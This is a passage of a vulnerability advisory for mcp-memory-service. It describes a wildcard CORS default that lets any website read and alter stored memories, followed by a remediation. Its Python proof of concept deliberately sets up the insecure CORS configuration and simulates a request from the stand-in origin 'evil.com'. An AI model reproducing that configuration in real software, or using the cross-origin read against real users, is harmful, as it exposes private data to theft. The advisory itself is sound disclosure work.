endpoints to modify or destroy memories\n7. Victim sees a normal web page; no indication of the attack\n\n### Root Cause\n\nThe default value of `MCP_CORS_ORIGINS` is `*`, which allows any website to read API responses. This is a permissive default that should be restricted to the expected dashboard origin (typically `localhost`). The `allow_credentials=True` is an additional misconfiguration that doesn\u0027t currently enable the attack.\n\n\n### PoC\n```python\nfrom fastapi import FastAPI\nfrom fastapi.middleware.cors import CORSMiddleware\nfrom starlette.testclient import TestClient\n\napp = FastAPI()\napp.add_middleware(\n    CORSMiddleware,\n    allow_origins=[\"*\"],\n    allow_credentials=True,\n    allow_methods=[\"*\"],\n    allow_headers=[\"*\"],\n)\n\n@app.get(\"/api/memories\")\ndef memories():\n    return [{\"content\": \"secret memory data\"}]\n\nclient = TestClient(app)\n\n# Non-credentialed request (how the real attack works with anonymous access)\nresponse = client.get(\"/api/memories\", headers={\"Origin\": \"https://evil.com\"})\nprint(response.headers[\"access-control-allow-origin\"])  # *\nprint(response.json())  # [{\"content\": \"secret memory data\"}]\n# Any website can read this response because ACAO is *\n```\n\n\n### Impact\n- **Complete cross-origin memory access**: Any website can read all stored memories when the victim has the HTTP server running with anonymous access\n- **Memory tampering**: Write/delete endpoints are also accessible cross-origin, allowing memory destruction\n- **Remote attack surface**: Unlike direct network access (which requires LAN proximity), the CORS vector works from anywhere on the internet - the victim just needs to visit a link\n- **Silent exfiltration**: The attack is invisible to the victim; no browser warnings, no popups, no indicators\n\n## Remediation\n\nReplace the wildcard default with an explicit localhost origin:\n\n```python\n# In config.py  (safe default)\nCORS_ORIGINS = os.getenv(\u0027MCP_CORS_ORIGINS\u0027, \u0027http://localhost:8000,http://127.0.0.1:8000\u0027).split(\u0027,\u0027)\n\n# In app.py - warn on wildcard\nif \u0027*\u0027 in CORS_ORIGINS:\n    logger.warning(\"Wildcard CORS origin detected. This allows any website to access the API. \"\n                    \"Set MCP_CORS_ORIGINS to restrict access.\")\n\n# Also: set allow_credentials=False unless specific origins are configured\napp.add_middleware(\n    CORSMiddleware,\n    allow_origins=CORS_ORIGINS,\n    allow_credentials=\u0027*\u0027 not in CORS_ORIGINS,  # Only with explicit origins\n    allow_methods=[\"*\"],\n    allow_headers=[\"*\"],\n)\n```\n\n## Affected Deployments\nThe vulnerability exists in the Python source code and is not mitigated by any deployment-specific configuration. Docker HTTP mode is the highest-risk deployment because it explicitly binds to `0.0.0.0`, maps the port, and does not override the wildcard CORS default.",
  "id": "GHSA-g9rg-8vq5-mpwm",
  "modified": "2026-03-20T21:32:22Z",
  "published": "2026-03-07T02:12:26Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/doobidoo/mcp-memory-service/security/advisories/GHSA-g9rg-8vq5-mpwm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33010"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/doobidoo/mcp-memory-service"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "mcp-memory-service\u0027s Wildcard CORS with Credentials Enables Cross-Origin Memory Theft"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

PYSEC-2026-2625

Summary

Details

Vulnerable Code

How the Attack Works

Two Attack Vectors

Compounding Factors

Attack Scenario

Root Cause

PoC

Impact

Remediation

Affected Deployments

CVE-2026-33010 (GCVE-0-2026-33010)

GHSA-G9RG-8VQ5-MPWM

Summary

Details

Vulnerable Code

How the Attack Works

Two Attack Vectors

Compounding Factors

Attack Scenario

Root Cause

PoC

Impact

Remediation

Affected Deployments

Tags

Sightings

Nomenclature